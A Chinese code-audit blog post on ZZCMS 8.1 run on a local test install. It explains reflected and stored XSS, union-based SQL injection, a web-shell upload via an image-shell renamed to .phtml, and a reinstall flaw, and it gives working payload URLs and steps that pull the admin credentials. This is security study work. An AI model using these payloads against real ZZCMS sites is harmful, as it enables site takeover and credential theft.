ZZCMS8.1|代码审计

Posted Oran9e

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ZZCMS8.1|代码审计相关的知识,希望对你有一定的参考价值。

这周的审计任务

ZZCMS8.1是站长招商网内容管理系统。审计这个CMS的原因很多,这里就不详说了(其实是漏洞类型多点

 

                                                                            环境搭建                                     

1,虚拟机win7 32位,用wamserver或者phpstudy搭建环境。

2,ZZCMS8.1源码(已分享链接)放到WWW目录下面

3,安装,访问(  http://127.0.0.1/zzcms8.1/install  ),如果提示我们安装向导已经安装过,重安装需删除根目录下的 /install/install.lock 文件。删除之后再重新访问该安装页面(  http://127.0.0.1/zzcms8.1/install  )。一路选择下一步,直到设置页面,创建数据库......安装完成。

 

 

                                                                            代码审计

审计的时候当然不是漫无目的的直接一个一个看php文件,先拿出来我们的代码审计工具扫一下(上篇文章提到),下面将会通过几个漏洞类型提到

先附图一张工具自动审计的漏洞,不过误报率很高。

 

 

XSS漏洞

可以说是最简单的一个漏洞了,先看一下

链接(http://127.0.0.1/zzcms8.1/uploadimg_form.php),问题出在uploadimg_form.php里面输出语句有可控变量,并且没有过滤,从而造成XSS漏洞

value="<?php echo @$_GET[\'imgid\']?>"上图68行可以清楚的看到imgid是没有过滤直接输出的。

因此可以直接构造XSS的payload:http://127.0.0.1/zzcms8.1/uploadimg_form.php?imgid="><script>alert(/orange/)</script><"

 

这个页面是需要登陆的

登陆验证代码

<?php
if(!isset($_SESSION)){session_start();}
if (!isset($_COOKIE["UserName"]) && !isset($_SESSION["admin"])){
session_write_close();
echo "No Login!";
exit;
}
?>

如果你不想登陆的话,可以注释掉登陆的代码就好。还有其他处存在XSS。这里只写这一处反射型XSS。

 

 

存储型XSS漏洞

一般来说存储型XSS漏洞都在留言板什么的地方,没有加以过滤,直接写入数据库中,管理员审核的时候从数据库中提取数据,这里可以构造payload,从而可以进行XSS攻击,有的获取管理员的cookie信息,进而进行下一步攻击。

我们首先黑盒测试一下,打开一个提问问题的页面(http://127.0.0.1/zzcms8.1/ask/askadd.php),提问问题,这个时候就开始写payload然后发布。

payload:"><script>alert(/a/)</script>

然后我们管理员权限登进后台,信息模块-->问答信息管理。但是很无奈,我的显示没有权限,不过没关系,我们去数据库直接进行查看,找到zzcms_ask表,查看其中内容,可以看到标题是经过转义的,然而内容却没有经过转义,直接存在了数据库中,因此这里就有可能造成存储型XSS漏洞

 

现在查看源码分析一下

打开/ask/askadd.php页面

看到198行对数据库中的content内容进行POST接收

$content=str_replace("\'","",stripfxg(trim($_POST["content"])));

首先标题title接收到,经过trim函数移除了两侧的字符,trim()函数的意思是移除字符串两侧的空白字符或其他预定义字符,然后就把title接收到了

其次是content,这个进行了一系列的过滤,首先经过trim函数移除了两侧的字符,然后通过stripfxg函数去除反斜杠,追踪自定义stripdxg函数,在/inc/function.php中528行发现

最后再去content参数通过str_replace()函数进行过滤,这个函数把 \' 替换成空,

后面还有一个$img=getimgincontent($content),getimgincontent()自定义函数这个可以在/inc.function.php中210行找到

正如这个函数名字一样,getimgincontent,从content中得到img文件,getimgincontent()函数通过正则表达式,匹配出gif|.jpg|.png|.bmp文件

不过这里此刻对于content是没什么影响的,最后判断一下title是不是为空,接收到之后进而存入数据库中,

如果看了上面的还不明白为什么会把"><script>alert(/orange/)</script>直接存入数据库,那就好好理解我下面的这段话

首先trim()函数的意思是移除字符串两侧的空白字符或其他预定义字符,然后"><script>alert(/orange/)</script>不存在空白字符或者预定义字符,所以此时$content还是"><script>alert(/orange/)</script>,然后stripfxg()函数去除反斜杠,然而"><script>alert(/orange/)</script>没有反斜杠,所以$content还是"><script>alert(/orange/)</script>,最后str_replace()函数进行单引号替换成空,但是"><script>alert(/orange/)</script>没有单引号,所以经过一系列的"过滤",content的内容还是"><script>alert(/orange/)</script>,然后就存入数据库中,从而造成存储型XSS漏洞。

/ask/show.php是展示上面提问的问题和答案的,追踪过去show.php搜索content,可以看到是没有进行任何过滤的,因此这里极大可能存在存储型XSS漏洞。

 

 

 

 SQL注入漏洞

联合查询注入

漏洞所在文件是/admin/help_manage.php,其中在文件的第17行,

$b=isset($_REQUEST["b"])?$_REQUEST["b"]:\'\';

这里$_REQUEST了变量b过去,zzcms对全局的post,get,request请求变量都做到了转义,引号介入是不存在的,但是问题就出在$sql,变量$id是$_REQUEST的,并没有经过过滤,这就造成了代码注入了。

由于代码中有输出这个查询后数组显示,我们可以用联合查询来直接获取到管理员的账号密码,密码是md5加密的

构造payload:http://127.0.0.1/zzcms8.1/admin/help_manage.php?b=-1+UNION+ALL+SELECT+1,2,3,4,5,6,(SELECT+CONCAT(IFNULL(CAST(database()+AS+CHAR),0x20),0x203a3a20,IFNULL(CAST(user()+AS+CHAR),0x20))+FROM+zzcms.zzcms_admin+LIMIT+0,1)%E2%80%93

上面首先查询出当前数据库和当前用户名,如下面图所示,数据库是zzcms,用户是root。

 

这个payload则是直接查看用户账号密码的,账号admin,密码21232f297a57a5a743894a0e4a801fc3(admin)

payload:http://127.0.0.1/zzcms8.1/admin/help_manage.php
?b=-1+UNION+ALL+SELECT+1,2,3,4,5,6,(SELECT+CONCAT(0x757365723a20,IFNULL(CAST(admin+AS+CHAR),0x20),0x20706173733a2020,IFNULL(CAST(pass+AS+CHAR),0x20))+FROM+zzcms.zzcms_admin+LIMIT+0,1)%E2%80%93

 

 

 

 

 

 

 文件上传漏洞

上传漏洞导致getshell。上传点(http://127.0.0.1/uploadimg_form.php或http://127.0.0.1/zzcms8.1/uploadimg_form.php)

这个上传,检测后缀名,只允许jpg,png,gif,bmp文件上传,但是这里我们可以利用图片马进行伪造上传从而getshell。

图片马制作这里提一下:CMD命令行制作,首先准备一个图片.jpg,一个一句话php文件.php,然后用以下命令:copy 1.jpg/b+1.php 2.jpg

上面就制作成了图片马2.jpg。

 

 

图片马制作成功,接下来上传,由于我的虚机是没有JAVA环境的,所以我在本机进行上传(本机浏览器输入x虚拟机IP就可访问,前提是在同一网段,这个时候需要虚拟机进行桥接设置),上传burpsuite进行抓包,将上传的2.jpg改成2.phtml,再进行上传,进而上传成功。

这个漏洞的根本在于apache会把phtml后缀的文件当成php文件来执行。

 

 

 

 

 

重装漏洞

\\zzcms8.1\\install\\index.php 11行/51行—90行

     $step = isset($_POST[\'step\']) ? $_POST[\'step\'] : 1;
    <?php
    switch($step) {
        case \'1\'://协议
            include \'step_\'.$step.\'.php\';
        break;
        case \'2\'://环境
            $pass = true;
            $PHP_VERSION = PHP_VERSION;
            if(version_compare($PHP_VERSION, \'4.3.0\', \'<\')) {
                $php_pass = $pass = false;
            } else {
                $php_pass = true;
            }
            $PHP_mysql = \'\';
            if(extension_loaded(\'mysql\')) {
                $PHP_MYSQL = \'支持\';
                $mysql_pass = true;
            } else {
                $PHP_MYSQL = \'不支持\';
                $mysql_pass = $pass = false;
            }
            $PHP_GD = \'\';
            if(function_exists(\'imagejpeg\')) $PHP_GD .= \'jpg\';
            if(function_exists(\'imagegif\')) $PHP_GD .= \' gif\';
            if(function_exists(\'imagepng\')) $PHP_GD .= \' png\';
            if($PHP_GD) {
                $gd_pass = true;
            } else {
                $gd_pass = false;
            }
            $PHP_URL = @get_cfg_var("allow_url_fopen");//是否支持远程URL,采集有用
            $url_pass = $PHP_URL ? true : false;
            include \'step_\'.$step.\'.php\';
        break;
        case \'3\'://查目录属性
            include \'step_\'.$step.\'.php\';
        break;
        case \'4\'://建数据库
            include \'step_\'.$step.\'.php\';
        break;

 

这个ZZCMS也是通过 install.lock 来判断是否已经安装了的,然后我们根据上面的代码可以看出 step 参数如果为空的话,就默认从 1 开始,然后我们跟进下 step_1.php 这个文件。

 

zzcms8.1\\install\\step_1.php 1行—5行

    <?php
    if(file_exists("install.lock")){
    echo "<div style=\'padding:30px;\'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";
    }else{
    ?>

这个文件里判断了当前目录下是否存在 install.lock 文件,如果存在就提示已经安装了,那继续看下 step_2.php 的内容。

 

zzcms8.1\\install\\step_2.php 1行—3行

    <?php
    if(@$step==2){
    ?>

 

这里没有继续判断是否存在 install.lock 文件,那继续看下剩下的 step_3/4.php 里有没有判断条件。

 

zzcms8.1\\install\\step_3.php 1行—5行

    <?php
    if(@$step==3){
    $token = md5(uniqid(rand(), true));  //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
    $_SESSION[\'token\']= $token; 
    ?>

 

zzcms8.1\\install\\step_4.php 1行—9行

    <?php
    if(@$step==4){
    if ($_POST[\'token\'] != $_SESSION[\'token\'] || $_POST[\'token\']==\'\' ){    
    echo "非法提交".$_POST[\'token\']."<br>".$_SESSION[\'token\'];
    exit();
    //}else{
    //unset($_SESSION[\'token\']);
    }
    ?>

 

step_4.php 文件里也没有判断 install.lock ,只是验证了一下在 3 里的那个 token ,所以,3 到 4 这个步骤不能越过,但是,这是个重装漏洞是有的。

我们只需要进入 install\\index.php 路径文件下,POST 一下 2 ,然后按顺序走下去就重装了这个CMS。

 

 

 

 

源码分享(链接: https://pan.baidu.com/s/1pLr7w6Z 密码: r326)

本文链接(http://www.cnblogs.com/Oran9e/p/7812106.html),转载请注明。

以上是关于ZZCMS8.1|代码审计的主要内容,如果未能解决你的问题,请参考以下文章

代码审计那些代码审计的思路

当前市面上的代码审计工具哪个比较好?

代码审计思路之PHP代码审计

代码审计利器-Seay源代码审计系统

0-PHP代码审计——通用代码审计的思路

0-PHP代码审计——通用代码审计的思路